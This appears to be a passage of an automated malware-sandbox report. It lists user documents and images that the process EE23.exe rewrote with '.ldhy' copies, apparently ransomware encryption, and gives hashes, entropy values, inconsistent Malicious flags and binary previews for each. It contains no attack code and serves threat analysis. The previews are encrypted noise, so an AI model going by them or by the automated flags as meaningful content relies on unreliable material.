                                                                                                                                                                                                                                                              Preview:BNAGM..e..T.....G.z..K.U.^.....Km&uI...f..%d..4>.VY..~.'.L.o.......o..&..3..Iq4.....4..<"..g28..U...U75..).H.RP....x..L..6....2M...gA.ZA{n..!+.Fw..".\.$wd....(6!.A.oP../rK.......?>.aP...\q.6;..:.rzQIZ%....R..o...4.\..*.L.t]QF$.a.!..}.......yT..1..;...7U......>....,.l...;....#l..C...\/.h..O<~.x....o.~aZ`?ZqUN...GoE.i....S......r...1`S:N...z?~]5.0O>n..`4..\.....0.......$q.ZA....m..U._3.1...p......R+Ca.$....rU..Uc...+.j....`...0.0UF..*.>..Q..y.=....)..wz....y.(...........).u......I..Ue%=..N.@Ld.1....8.t`4S_....p..-.r<u.a..T[!...J9..h..W....2...W..l....:C.\..........S.H......g...J..m;*.RC..2..U...B.. *.U.:Gb....85...4B.4...x....)..T....(..TH.r.V.;..W>,.70..r..*.J.....}......,.@Z..sO..g,bmX.s.M.Y...{|...zNi..h..C.Mu .A.P..l.t."=...@3=..1b.k3..B*#2/..Y..&.O....u..t....I........s.c.........V...CNM.U....B.:U..h.Aw........-...|..<.!....%"a.z.=.....Ss...y@......l..{z..gMT..)...x#DT3p1...d...i2l..\J.H...O..2.~.3....#.........R..u.~&...:QJ6R..(n;).H*.....

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\BNAGMGSPLO.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.845331630438051
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:B898W+jnbZRAay0lqha4go1lEUYLedyEDlXziLZvJlOSPsfHysbD:B8WyGln4gECUYLAtzqllPsfymD
                                                                                                                                                                                                                                                              MD5:B2198DAB8D7A58CF6EDB692842E4B97A
                                                                                                                                                                                                                                                              SHA1:DB08290C63CBFCD6A4B9031960727C2E00E6F555
                                                                                                                                                                                                                                                              SHA-256:D6E3B9687F7FFFA22C722A77117210C3E45DCA125A6B652BAB157CC5A37C0DC0
                                                                                                                                                                                                                                                              SHA-512:AAD18D7FB3181F8F15C0B3D9E1FD1639116EA915D702B9C7C6341DDA27484C95E134D5938B1C1CB64AC44596A1649EA961145EE7284CEFD310C3CF42304F79FF
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:BNAGM..e..T.....G.z..K.U.^.....Km&uI...f..%d..4>.VY..~.'.L.o.......o..&..3..Iq4.....4..<"..g28..U...U75..).H.RP....x..L..6....2M...gA.ZA{n..!+.Fw..".\.$wd....(6!.A.oP../rK.......?>.aP...\q.6;..:.rzQIZ%....R..o...4.\..*.L.t]QF$.a.!..}.......yT..1..;...7U......>....,.l...;....#l..C...\/.h..O<~.x....o.~aZ`?ZqUN...GoE.i....S......r...1`S:N...z?~]5.0O>n..`4..\.....0.......$q.ZA....m..U._3.1...p......R+Ca.$....rU..Uc...+.j....`...0.0UF..*.>..Q..y.=....)..wz....y.(...........).u......I..Ue%=..N.@Ld.1....8.t`4S_....p..-.r<u.a..T[!...J9..h..W....2...W..l....:C.\..........S.H......g...J..m;*.RC..2..U...B.. *.U.:Gb....85...4B.4...x....)..T....(..TH.r.V.;..W>,.70..r..*.J.....}......,.@Z..sO..g,bmX.s.M.Y...{|...zNi..h..C.Mu .A.P..l.t."=...@3=..1b.k3..B*#2/..Y..&.O....u..t....I........s.c.........V...CNM.U....B.:U..h.Aw........-...|..<.!....%"a.z.=.....Ss...y@......l..{z..gMT..)...x#DT3p1...d...i2l..\J.H...O..2.~.3....#.........R..u.~&...:QJ6R..(n;).H*.....

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\DUUDTUBZFW.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.846353833242484
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:0gxqI9krTGZGvwMVtzUBHSFmOrXqQcChyJbKK2jIjsNcX20iO9M1jA3MAM1qDbn+:0gkI9knVlZESF/J5QYIY62M9OP1qDbn+
                                                                                                                                                                                                                                                              MD5:9B5E8ABD4B3DD84E2744B910057ACB23
                                                                                                                                                                                                                                                              SHA1:F82C2B71166B54F0B660983191BA86B235E65681
                                                                                                                                                                                                                                                              SHA-256:FFCB0AFE595AEF2132B61050B7B4B57F0CAAC162CD4386BC31BE24DC1512878D
                                                                                                                                                                                                                                                              SHA-512:128606733AED655E739D2118F41B2948ABD0EFE8A9CBBDAB85B5D90E212969D8FEC0C445F99F168E645BE30B7617C975D553AEC8A5B3AB52A94F6447E312189B
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:DUUDT..A].!...D..W.? .P{W..j....z..v]...sI...%.Qw..B....q.~.....'..Lj..;1|4O.....EX..U*......[0..>..]..n...{ak..f$1CLHi...t.Nm...... .G.i..dY...G.@@...;...c...]..@.>P....m....W*.w.?..k..fGz.J).Q...|...h|..L:K.-....E......M.a.s_..7..@.;i.....?......d.^.h-.z.....D...I..TJlB..........A.{0s._-B.....%...^...#..Lt.L7uqVw.x)d......>B...vDv.}..R.u.....Jj....5.U....y..xz..@...f.v...3jg.Z?............V%..QW.....dm..6..y.& k.lF..z..\......lE.}.T.RGu..L./(R.~..w..c..#.kRE.N9.Q[|.j8....tcvB.%~o.<.Q.g....G.do-..(7...L.WN{.`.......M./...&....2..m^B........m.1..c,.K./.&t7[L.t.m`.%$.-K.d.....on.......~..v.+D..qn..\t..U'hv.z.u...8w......@zZ....um..1.N=7.....b...-.. ..].b.6.............T..6g..T.W.!..k.?.ij.p_WG.z.U.......2x.^0.s....;.yo...p(...U9]^t..#yv.K.bH=.I..z.!..A.:w...^.~.........uV3..'....;.8.|.>N..o.j..'...;........?.l.%..f][$.k......$Xe...i.+9n.LR...l..).\Y...RP.6#...B......=:.R....8e4q5K...NO.Z..3=...]<)....u......s.Sp....N..v..4...7..ii....;L.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\DUUDTUBZFW.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.846353833242484
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:0gxqI9krTGZGvwMVtzUBHSFmOrXqQcChyJbKK2jIjsNcX20iO9M1jA3MAM1qDbn+:0gkI9knVlZESF/J5QYIY62M9OP1qDbn+
                                                                                                                                                                                                                                                              MD5:9B5E8ABD4B3DD84E2744B910057ACB23
                                                                                                                                                                                                                                                              SHA1:F82C2B71166B54F0B660983191BA86B235E65681
                                                                                                                                                                                                                                                              SHA-256:FFCB0AFE595AEF2132B61050B7B4B57F0CAAC162CD4386BC31BE24DC1512878D
                                                                                                                                                                                                                                                              SHA-512:128606733AED655E739D2118F41B2948ABD0EFE8A9CBBDAB85B5D90E212969D8FEC0C445F99F168E645BE30B7617C975D553AEC8A5B3AB52A94F6447E312189B
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:DUUDT..A].!...D..W.? .P{W..j....z..v]...sI...%.Qw..B....q.~.....'..Lj..;1|4O.....EX..U*......[0..>..]..n...{ak..f$1CLHi...t.Nm...... .G.i..dY...G.@@...;...c...]..@.>P....m....W*.w.?..k..fGz.J).Q...|...h|..L:K.-....E......M.a.s_..7..@.;i.....?......d.^.h-.z.....D...I..TJlB..........A.{0s._-B.....%...^...#..Lt.L7uqVw.x)d......>B...vDv.}..R.u.....Jj....5.U....y..xz..@...f.v...3jg.Z?............V%..QW.....dm..6..y.& k.lF..z..\......lE.}.T.RGu..L./(R.~..w..c..#.kRE.N9.Q[|.j8....tcvB.%~o.<.Q.g....G.do-..(7...L.WN{.`.......M./...&....2..m^B........m.1..c,.K./.&t7[L.t.m`.%$.-K.d.....on.......~..v.+D..qn..\t..U'hv.z.u...8w......@zZ....um..1.N=7.....b...-.. ..].b.6.............T..6g..T.W.!..k.?.ij.p_WG.z.U.......2x.^0.s....;.yo...p(...U9]^t..#yv.K.bH=.I..z.!..A.:w...^.~.........uV3..'....;.8.|.>N..o.j..'...;........?.l.%..f][$.k......$Xe...i.+9n.LR...l..).\Y...RP.6#...B......=:.R....8e4q5K...NO.Z..3=...]<)....u......s.Sp....N..v..4...7..ii....;L.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.847182960477603
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:kQ6wQYLntAu8Hq+nlVgfaSIHIugdBEzjrpR1MWojD/6Bvt6eFXm0vIUGI+oKPsbD:kQ6jYR98K+nsf3IongjWWimBl6uXtvIK
                                                                                                                                                                                                                                                              MD5:92B6395C90502A44C9AF299C47CBD0ED
                                                                                                                                                                                                                                                              SHA1:FB5A34E638B80A8C3383754AF4C7F00FF1BF0669
                                                                                                                                                                                                                                                              SHA-256:B12BC5166AFB62BFDDECCB43B933DC629E530338A54181541749287FA3F7E024
                                                                                                                                                                                                                                                              SHA-512:2F91F3F34AD7070837B37604F0B3C3467610F1148214C790D7304ABFD5DE35243043B4B76815E721FAC6F1BC0375E0BDAEA6D3041462646DDF974BCD4D4045DF
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EEGWX..:..&.?Y..0.rRO@.j..".A.,.{..z:L..l...f.."..gG6.<o.8.D......0...Q..i.f......5R.d...s...(..}-.z..H..ve.o3.@X.........!.+..S.`..q.....O..5........."l._..o....r0G.1.j.5.Nv.x..Z..,..k1.[[....&..V..C.*...5..5=...._K.......F.s.....F.2.I.y.y.....C.G".}...X....1..w ...S...*.-.uQ.B.7.+.wz..)$.1./hsbg.7..X+...d........@..+{..)...b.*/u.Z......V........$....1>.a=M7M9....A.@?.i."|....k...U....(0.(......_...P...x.'..X..xG....S&.)+..QP.f.4..*......%......q....9.9Hlr....1&zg..5.N.i.`.Xq.s.>.=..M(.K.#..r.*...'...p.}Sf..Xq....p..L."..?d.][...?..KX.]..5a15.j."y......v.....I/....]..5...9..oY.....5B..>.MYB\..C.Q...uW(...<.ZBOG^..C...j...f..F....e$0 .r%.sdo*.5t....YX.!....0C...._.....?.....dD..$.!..H..."..T.|"...4.nx..~|..nd...."O.f..![EM.....k...?.%. xw......c.R`L......h..X..K..I...P.2..W..k....!.c.{...'8..xQ(.;q.#i..&.us..m.[...F].u..]...^.H.n#...b.V.H@{.........u.....J.N.o3...x..)...J8..).VH27C.p.~.WZ....V.V....u..>.u*.Y.[;_ps........#..o.=.V.(

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.847182960477603
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:kQ6wQYLntAu8Hq+nlVgfaSIHIugdBEzjrpR1MWojD/6Bvt6eFXm0vIUGI+oKPsbD:kQ6jYR98K+nsf3IongjWWimBl6uXtvIK
                                                                                                                                                                                                                                                              MD5:92B6395C90502A44C9AF299C47CBD0ED
                                                                                                                                                                                                                                                              SHA1:FB5A34E638B80A8C3383754AF4C7F00FF1BF0669
                                                                                                                                                                                                                                                              SHA-256:B12BC5166AFB62BFDDECCB43B933DC629E530338A54181541749287FA3F7E024
                                                                                                                                                                                                                                                              SHA-512:2F91F3F34AD7070837B37604F0B3C3467610F1148214C790D7304ABFD5DE35243043B4B76815E721FAC6F1BC0375E0BDAEA6D3041462646DDF974BCD4D4045DF
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EEGWX..:..&.?Y..0.rRO@.j..".A.,.{..z:L..l...f.."..gG6.<o.8.D......0...Q..i.f......5R.d...s...(..}-.z..H..ve.o3.@X.........!.+..S.`..q.....O..5........."l._..o....r0G.1.j.5.Nv.x..Z..,..k1.[[....&..V..C.*...5..5=...._K.......F.s.....F.2.I.y.y.....C.G".}...X....1..w ...S...*.-.uQ.B.7.+.wz..)$.1./hsbg.7..X+...d........@..+{..)...b.*/u.Z......V........$....1>.a=M7M9....A.@?.i."|....k...U....(0.(......_...P...x.'..X..xG....S&.)+..QP.f.4..*......%......q....9.9Hlr....1&zg..5.N.i.`.Xq.s.>.=..M(.K.#..r.*...'...p.}Sf..Xq....p..L."..?d.][...?..KX.]..5a15.j."y......v.....I/....]..5...9..oY.....5B..>.MYB\..C.Q...uW(...<.ZBOG^..C...j...f..F....e$0 .r%.sdo*.5t....YX.!....0C...._.....?.....dD..$.!..H..."..T.|"...4.nx..~|..nd...."O.f..![EM.....k...?.%. xw......c.R`L......h..X..K..I...P.2..W..k....!.c.{...'8..xQ(.;q.#i..&.us..m.[...F].u..]...^.H.n#...b.V.H@{.........u.....J.N.o3...x..)...J8..).VH27C.p.~.WZ....V.V....u..>.u*.Y.[;_ps........#..o.=.V.(

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8457577909153065
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:XPCoV2GW17mS5ydsuOFzAd5cqNRFYXR3gXCTtd7N/Jmb+Js9lJsbD:X6o817tYduFzMFYXR3Ltd7Y99lJmD
                                                                                                                                                                                                                                                              MD5:607240D1B81FC2159F8C41DE0154C49F
                                                                                                                                                                                                                                                              SHA1:F94A84E348A2F7DE8A384ABC263221A30FCF81FC
                                                                                                                                                                                                                                                              SHA-256:76E044CDB6806551C26FE1EDAB256F5C1DC0548A9397AEAB3F9617DD2538F83B
                                                                                                                                                                                                                                                              SHA-512:3185E47FA894803D136E37E7A37EAF7B11D9B74E94F4C9ED92AA1A73A420044E888A5BC19F2576FBC2E8F3629C95F0A827F3DAB8C7AC5565E5240C0872ECD08B
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EEGWX..1....G+.V...Q....K..r....C.v.yiYv..>.V.,..d.z^..?..#.......\*....F...."...0..FO4.z.4.k.M..M.2..|./.L..|.\K...3..x...Je.o1}4....U.i.;....O.8wI....".6?..bK.."v....KZ..l....Ia.Rmz.f...V...c.|..$p.9...^;../.T.6j0...^..z....%..........V.Z.X..f...Z.....NB.h.yi~.;C..iKm|.!.g.8.T...f..}...0.............).g?...@..` <...9<.G&.....X...X&U.V..l..Mtu..S...\.*....dD...7.._....zz....4(...-.g........T...I..pZ./..V.jh.2...N.]6......v.....i/.0z....6....z.VJ%u.I..{.!I[...AiO6(...._.B....hk&..^...3.6(.2o...u.V..^.+..|..R.H....~v..Sl...67...j....)....6...p)jA&.4.A.....s...c...I.>.-.O.r.-6n(.....8..N..o../pL41....)^...#...08..m..,....>b*cb.`1..r.h...#....\O.).....w7.......\.5F.=e.sV.C..u..1=.2....g..\+..o&#..@....je.c.$..G...(A.....)...br...ZSAq.... ^..Z.K.h,e..|..%B. .v..;\`..@....fS.-IT,...72..IA9G.v..O.8.;2.o.....a..K~.&C....lu..gh~....0.5.$%b............0m../.LR..z....$. =.HQ...x.. ...S@..^.9.R.....>..)u,.3S.{....."......&.f.O..z.K.<....p=.;.....

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8457577909153065
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:XPCoV2GW17mS5ydsuOFzAd5cqNRFYXR3gXCTtd7N/Jmb+Js9lJsbD:X6o817tYduFzMFYXR3Ltd7Y99lJmD
                                                                                                                                                                                                                                                              MD5:607240D1B81FC2159F8C41DE0154C49F
                                                                                                                                                                                                                                                              SHA1:F94A84E348A2F7DE8A384ABC263221A30FCF81FC
                                                                                                                                                                                                                                                              SHA-256:76E044CDB6806551C26FE1EDAB256F5C1DC0548A9397AEAB3F9617DD2538F83B
                                                                                                                                                                                                                                                              SHA-512:3185E47FA894803D136E37E7A37EAF7B11D9B74E94F4C9ED92AA1A73A420044E888A5BC19F2576FBC2E8F3629C95F0A827F3DAB8C7AC5565E5240C0872ECD08B
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EEGWX..1....G+.V...Q....K..r....C.v.yiYv..>.V.,..d.z^..?..#.......\*....F...."...0..FO4.z.4.k.M..M.2..|./.L..|.\K...3..x...Je.o1}4....U.i.;....O.8wI....".6?..bK.."v....KZ..l....Ia.Rmz.f...V...c.|..$p.9...^;../.T.6j0...^..z....%..........V.Z.X..f...Z.....NB.h.yi~.;C..iKm|.!.g.8.T...f..}...0.............).g?...@..` <...9<.G&.....X...X&U.V..l..Mtu..S...\.*....dD...7.._....zz....4(...-.g........T...I..pZ./..V.jh.2...N.]6......v.....i/.0z....6....z.VJ%u.I..{.!I[...AiO6(...._.B....hk&..^...3.6(.2o...u.V..^.+..|..R.H....~v..Sl...67...j....)....6...p)jA&.4.A.....s...c...I.>.-.O.r.-6n(.....8..N..o../pL41....)^...#...08..m..,....>b*cb.`1..r.h...#....\O.).....w7.......\.5F.=e.sV.C..u..1=.2....g..\+..o&#..@....je.c.$..G...(A.....)...br...ZSAq.... ^..Z.K.h,e..|..%B. .v..;\`..@....fS.-IT,...72..IA9G.v..O.8.;2.o.....a..K~.&C....lu..gh~....0.5.$%b............0m../.LR..z....$. =.HQ...x.. ...S@..^.9.R.....>..)u,.3S.{....."......&.f.O..z.K.<....p=.;.....

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG\DUUDTUBZFW.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.846077870451349
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:csX2hgRljw0uWxk2PYTpS9IEqP2GIBXPqDaxtFTWo0QGhuHgaGuDPNeEsbD:csXK+lM0uWxkgY9S9IEyIBymyoQhuHFG
                                                                                                                                                                                                                                                              MD5:15D2D9049F8B310C5AA435FCCE841E2E
                                                                                                                                                                                                                                                              SHA1:3C865F8AB1E46D2B12D87AD242299F8E623E283C
                                                                                                                                                                                                                                                              SHA-256:4D15EBB71CFC929AFD2A5A866CD41A19AED28AF7520624DDDA3C244F650DF39C
                                                                                                                                                                                                                                                              SHA-512:CB4B0BB9D3913A9FAF8D28ADEE7BFC57507CCDD291F50C49A85B6B8B23D4C09F0482DDDCDBD684FBB240D5AFF04656AAAC804F80B689E2CC4711EEF9D355CE07
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:DUUDT..3....r.}$."6x.O6 .O.u!1=8[x..#.&......Wp......q:...z...t.......l.R..OkQ.A...Pl.......8.EG....."SD......L...gP..VC.GC..K<.L.%k.h.0U..6.....}......?!.....w..z.........3...MuQ../5.F..a....y....g.qc..X..#wL...z.....u..+~..5..y.X5..)PIX.i......=dV..4..3.4.....4.....Z..9..f.....2.V"[h-s...@.$.".h..-O..#.{..x..R...>..=..].zZ(v.....`.......5.e...p....Q@);........?.g.I.O...Uu..Gp#*...mi...S.^.......m..M...5.w.P.T..8.t..Z...<d........T....SsX`&l.yT....].r....|i.".hK..t......S.V]I.(.Lv..:............IvP5.rXiC..,{....%,.DD^M...MT..I..O..:.../6T:.p..7H..$"..."v9....E.f.........j..q.SSja.m...n....D.~.x.w$Y^._......A..2AK.=...Y...T^&.L..G..q.\.c...q|.(."uC-..K.....Y....e.F.2......X.X.Y'.t!$3...fe.........i.....:.1.]n.}_.c..d..>....u..q70...]Q.O..EZ..:..7._$F.>N.....i....O.:...7...B.9......s...7..i@cf..e.'....I[N%.uw.I....0.+{h..=...............5.....s.|.....#.F....7..1v....,H.W#.w.....C..s*.....W...|...?.LJ?.c....b^A.....`.B,.}sY.;%n.U...

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG\DUUDTUBZFW.pdf.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.846077870451349
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:csX2hgRljw0uWxk2PYTpS9IEqP2GIBXPqDaxtFTWo0QGhuHgaGuDPNeEsbD:csXK+lM0uWxkgY9S9IEyIBymyoQhuHFG
                                                                                                                                                                                                                                                              MD5:15D2D9049F8B310C5AA435FCCE841E2E
                                                                                                                                                                                                                                                              SHA1:3C865F8AB1E46D2B12D87AD242299F8E623E283C
                                                                                                                                                                                                                                                              SHA-256:4D15EBB71CFC929AFD2A5A866CD41A19AED28AF7520624DDDA3C244F650DF39C
                                                                                                                                                                                                                                                              SHA-512:CB4B0BB9D3913A9FAF8D28ADEE7BFC57507CCDD291F50C49A85B6B8B23D4C09F0482DDDCDBD684FBB240D5AFF04656AAAC804F80B689E2CC4711EEF9D355CE07
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:DUUDT..3....r.}$."6x.O6 .O.u!1=8[x..#.&......Wp......q:...z...t.......l.R..OkQ.A...Pl.......8.EG....."SD......L...gP..VC.GC..K<.L.%k.h.0U..6.....}......?!.....w..z.........3...MuQ../5.F..a....y....g.qc..X..#wL...z.....u..+~..5..y.X5..)PIX.i......=dV..4..3.4.....4.....Z..9..f.....2.V"[h-s...@.$.".h..-O..#.{..x..R...>..=..].zZ(v.....`.......5.e...p....Q@);........?.g.I.O...Uu..Gp#*...mi...S.^.......m..M...5.w.P.T..8.t..Z...<d........T....SsX`&l.yT....].r....|i.".hK..t......S.V]I.(.Lv..:............IvP5.rXiC..,{....%,.DD^M...MT..I..O..:.../6T:.p..7H..$"..."v9....E.f.........j..q.SSja.m...n....D.~.x.w$Y^._......A..2AK.=...Y...T^&.L..G..q.\.c...q|.(."uC-..K.....Y....e.F.2......X.X.Y'.t!$3...fe.........i.....:.1.]n.}_.c..d..>....u..q70...]Q.O..EZ..:..7._$F.>N.....i....O.:...7...B.9......s...7..i@cf..e.'....I[N%.uw.I....0.+{h..=...............5.....s.|.....#.F....7..1v....,H.W#.w.....C..s*.....W...|...?.LJ?.c....b^A.....`.B,.}sY.;%n.U...

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG\EEGWXUHVUG.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.845135466921347
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:AV06Hf9IcnYQawdrvq1Fr9lUdkxzEUpVErgM0M2riSt64pgzhbV5FsbD:AVhfxY+qz96gzVcvZS8sGXmD
                                                                                                                                                                                                                                                              MD5:D48D3870F4AEB90FAB420D2C1B1A58F3
                                                                                                                                                                                                                                                              SHA1:2D4DAA2E3C307B556470EC16AADEC4A2F0CAF60F
                                                                                                                                                                                                                                                              SHA-256:54059AED8DFC0F09501D2EF629871B580DA074B9EFD9854E17994A274D69AC7F
                                                                                                                                                                                                                                                              SHA-512:8A0AC2D3BAF0DC4BC09DCB4C1B790116EDEC5BDE78D679DF7606306CE797377C3E99ED7732304D92D79B7AE0BC5A7DF16A7281F9BF67F2EA97146F5DDA73CB6E
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Preview:EEGWX..*.15..1d/bB.z.....y_n'bB...Tg.]!...k1h....A.hYR.>..(s....#J.oH.....##.....N3.....Z...s..1...ig.>....G..~bD.(......G.u...3{z.....v.t..:..t>I<...`...8.k..I.. ...@p..:FL.6.Mz.....=....S.s~.S..^>u........=.......1.Ta.U.SV.........!..u.EM..pAE.\.,.^.j........R+..6*..j..|....V.].mW'~..Oa.).........5..2s8z...b..fM.]..O7.1G.0..@.<.#..p.r....E.....C.1U...!..v..-...h8..M.b._Yc..X|.yq...d.YT4.J...+c.9.8.%.}*..p.pT.Q.....HL.9f.X]N.'..^3Sd.H....:_.;.4..F..1..\RBtU9.?..g...(.pz.,.%........<+-.l.J..J.....2`.79.}....+.*.5...."y...|..-S....z..3t...w.H_.B..S,.!....Y....p.~L.I]..c.+...f.9...).....?$H..?&[.c.M.&...v+......-..`Z./.R...xT..L.t.u.A.A]......^.I.........K.%.sF.B..._...`Mq..m.s.....U[.Z.....L..........@....{...j...............n...a6.u.J......-.qkF0.X;).#...Rl.G.5.q.Gn...Y..:.."a.!g..,.zs.j._.......z.l.1d...5G...u-.!.QT.........e...2...vN...x.[.QYo....yL...:O..V...7.xq..X>8......*......!..3`.......f.).n..M.{.zhE]P..veB.W.+F.m..&3..8.F.t.dpf

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\EEGWXUHVUG\EEGWXUHVUG.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.845135466921347
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:AV06Hf9IcnYQawdrvq1Fr9lUdkxzEUpVErgM0M2riSt64pgzhbV5FsbD:AVhfxY+qz96gzVcvZS8sGXmD
                                                                                                                                                                                                                                                              MD5:D48D3870F4AEB90FAB420D2C1B1A58F3
                                                                                                                                                                                                                                                              SHA1:2D4DAA2E3C307B556470EC16AADEC4A2F0CAF60F
                                                                                                                                                                                                                                                              SHA-256:54059AED8DFC0F09501D2EF629871B580DA074B9EFD9854E17994A274D69AC7F
                                                                                                                                                                                                                                                              SHA-512:8A0AC2D3BAF0DC4BC09DCB4C1B790116EDEC5BDE78D679DF7606306CE797377C3E99ED7732304D92D79B7AE0BC5A7DF16A7281F9BF67F2EA97146F5DDA73CB6E
                                                                                                                                                                                                                                                              Malicious:false
